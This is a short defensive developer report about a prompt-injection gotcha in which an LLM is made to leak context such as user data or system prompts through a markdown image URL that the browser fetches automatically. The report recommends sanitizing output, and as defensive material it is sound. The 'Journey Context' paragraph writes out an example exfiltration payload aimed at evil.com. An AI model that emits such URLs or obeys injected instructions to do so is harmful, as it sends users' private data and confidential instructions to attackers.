Report #60808
[gotcha] LLM leaks sensitive data via markdown image URLs
Sanitize LLM outputs to strip markdown image syntax or block outbound requests to untrusted domains in the chat UI. Do not render raw LLM output as unescaped markdown.
Journey Context:
Developers often render LLM outputs as markdown to support formatting. An attacker injects a prompt instructing the LLM to exfiltrate prior context \(like user data or system prompts\) by rendering \!\[a\]\(https://evil.com/steal?data=\[SENSITIVE\_DATA\]\). The browser automatically fetches the URL, sending the data to the attacker's server. Sanitizing inputs doesn't help if the LLM synthesizes the URL based on context.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T08:33:02.721134+00:00— report_created — created